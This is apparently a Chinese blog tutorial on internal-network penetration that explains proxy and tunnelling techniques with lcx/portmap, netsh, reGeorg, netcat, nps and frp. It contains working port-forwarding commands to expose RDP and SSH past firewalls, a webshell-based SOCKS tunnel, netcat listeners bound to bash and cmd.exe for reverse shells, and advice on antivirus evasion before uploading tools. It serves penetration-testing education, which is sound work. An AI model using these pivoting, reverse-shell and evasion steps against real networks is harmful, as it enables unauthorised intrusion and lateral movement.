内网渗透-通信技术

背景

当拿到某网络主机的权限,发现无法将流量或者权限发送出来,对渗透造成了很大的影响,所以内网渗透必须需要了解到两种主要的通信技术–代理与隧道(端口转发)技术

代理技术解决的问题:代理简单来讲解决网络之间的通信问题,如内网与外网之间或者两者自己之间的通信,两个不同内网的通信就必须借助到代理,否则无法通讯。

隧道技术解决的问题:简单来讲就是解决流量无法发送,隧道技术多用来绕过一些安全设备的监控,如防火墙过滤问题,网络连接通讯问题,数据回链封装问题,对我们发送的流量进行了拦截,这个时候需要接触隧道技术绕过拦截,隧道技术就是使用不同的协议把走不通的路走通。走不同的协议技术建立通讯,可以说是其中也包括了一些代理的技术

隧道(端口转发)

一般情况,在渗透测试后获取主机权限后下一步就是内网渗透,内网中的其他机器是不允许外网机器访问的。这时候,我们可以通过 隧道(端口转发) 或将这台外网服务器设置成为 代理,使得我们自己的攻击机可以直接访问与操作内网中的其他机器。实现这一过程的手段就叫做端口转发

隧道技术使用在不同的OSI层进行,大体总结了以下三种: 网络层:IPV6隧道,ICMP隧道 传输层:TCP隧道,UDP隧道,常规的端口转发 应用层:SSH隧道,HTTP/S隧道,DNS隧道

需要注意的是,使用某种隧道之前,需要检查环境本身是否支持这种协议的使用,才能去使用响应的隧道传输。

常用工具

内网渗透中常用的代理工具有很多,例如lcx,nps,frp,venom,proxifier/proxychains+reGeorg等等。这里我就不全部讲解了。

1.LCX(Windows)/Portmap(Linux)

很有名的一款工具,杀软直接秒杀,上传到目标机器前要提前做好免杀。下载地址:https://github.com/AA8j/SecTools/tree/main/lcx

下面介绍一下使用该工具的两种场景。

(1)假如此时已经拿到了边界服务器的权限,但是由于防火墙限制,进网端口被限制,但可以出网,此时就可以将边界服务器的端口转发到攻击机上,然后访问攻击机的端口。

边界服务器为Windows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# 攻击机上执行:
./portmap -m 2 -p1 4444(本机监听端口) -h2 127.0.0.1(转发到目的IP) -p2 3389(转发到目的端口)
# 表示监听本机的4444端口,并转发到127.0.0.1的3389端口。

# m的参数说明:
# 1.监听port1 (p1)端口并且连接主机2(h2)的port2(p2) 端口
# 2.监听port1(p1)和port2(p2) 端口
# 3.连接主机1(h1)对应的端口和主机2(h2)对应的端口

# 边界服务器上执行:
lcx.exe -slave 192.168.8.48(转发到目的IP) 4444(转发到目的端口) 127.0.0.1 3389(转发的本地端口)
# 表示将本地的3389端口转发到192.168.8.48的4444端口

边界服务器为Linux:

1
2
3
4
5
6
7
# 攻击机上执行
./portmap -m 2 -p1 4444(本机监听端口) -h2 127.0.0.1(转发到目的IP) -p2 222(转发到目的端口)
# 表示监听本机的4444端口,并转发到127.0.0.1的222端口。

# 边界服务器上执行
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 192.168.8.48 -p2 4444
# 将本地的22端口转发到192.168.8.48的4444端口

(2)假如此时已经拿到了边界服务器的权限,但是由于防火墙策略限制导致3389端口无法出网,此时可以将此端口映射到可以出网的端口。

边界服务器为Windows:

1
2
# 边界服务器上执行
lcx.exe -tran 53 192.168.8.56(边界服务器ip) 3389

此时远程桌面连接192.168.8.56的53端口即可。

边界服务器为Linux:

推荐使用ssh隧道。

可能有师傅会问,既然已经把远程端口转发到本地了,为什么还要在本地再转发一次呢?这是因为-slave参数和-listen参数必须成对出现,否则连接远程桌面会一直连不上。

2.netsh

Windows自带的一款工具,不需要上传到目标机器。值得注意的是,它不能把本地端口转发到其它机器上。

1
2
3
# 把任意机器的指定端口转发到本地
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=目标机端口 connectaddress=127.0.0.1 connectport=本机端口 protocol=tcp # 添加转发策略
netsh interface portproxy delete v4tov4 listenport=目标机端口 listenaddress=目标机ip # 删除转发策略

3.reGeorg

reGeorg是一款把内网服务器端口的数据通过http/https隧道转发到本机,实现基于HTTP通信的工具。使用时需要配合webshell建立一个socks5代理来进行内网穿透,支持多种类型的webshell。因为使用频繁,所以较多的杀软都会拦截,需要做免杀处理。

免杀版本下载: GitHub - L-codes/Neo-reGeorg: Neo-reGeorg is a project that seeks to aggressively refactor reGeorg

边界服务器上传webshell后,浏览器访问边界服务器webshell所在地址,如果出现提示:Georg says,'All seems fine',则说明连接建立成功。

不过这款工具一般搭配proxifier或者proxychains使用。启用上面的脚本后,命令行会显示转发到本地的端口,这时再搭配proxifier或者proxychains使用就可以了。

4.netcat(nc)

这款工具太有名了,被称为“网络界的瑞士军刀”。除了用来端口转发以外,还能用来传输文件、端口扫描,不过这里我们不作讲解,有兴趣的自行研究进阶用法。

常用命令行参数:

1
2
3
4
5
6
-l 开启监听状态
-v 显示详细信息
-p 指定监听的本地端口
-k 客户端断掉连接时,服务端依然保持运行
-e 将传入的信息以命令执行
-n 直接使用 IP 地址,不进行 dns 解析过程

一般用作反弹shell,正向连接很少用。在公网vps上监听:

1
2
3
4
5
6
# Linux主机
nc -lvnp 本机端口 -e /bin/bash
nc -lvnp 本机端口 -c bash
# Windows主机
nc -lvnp 本机端口 -e C:\Windows\System32\cmd.exe
nc -lvnp 本机端口 -c cmd

目标机则可以利用各种方式进行主动连接,例如bash反弹一句话、Python、PHP等。推荐给大家一个谷歌浏览器插件–Hack-Tools,里面可以生成各种正向连接命令,再也不用担心命令记不住了!

5.venom

参考文章: Venom工具的使用(内网渗透 多级代理)_rang#的博客-CSDN博客_venom工具

6.nps、frp

nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理p2p等,并带有功能强大的web管理端。

NPS 是一款轻量级、高性能、功能强大的内网穿透代理服务器

frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议,且支持 P2P 通信。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。

frp中文文档

由于官方文档很详细,所以这里不再讲解。

还有一些极端情况,比如目标内网防火墙禁用了http协议,那么只能采用dns隧道、icmp隧道、ssh隧道了。

内网渗透(四)–通信技术 - HackerTerry’s Blog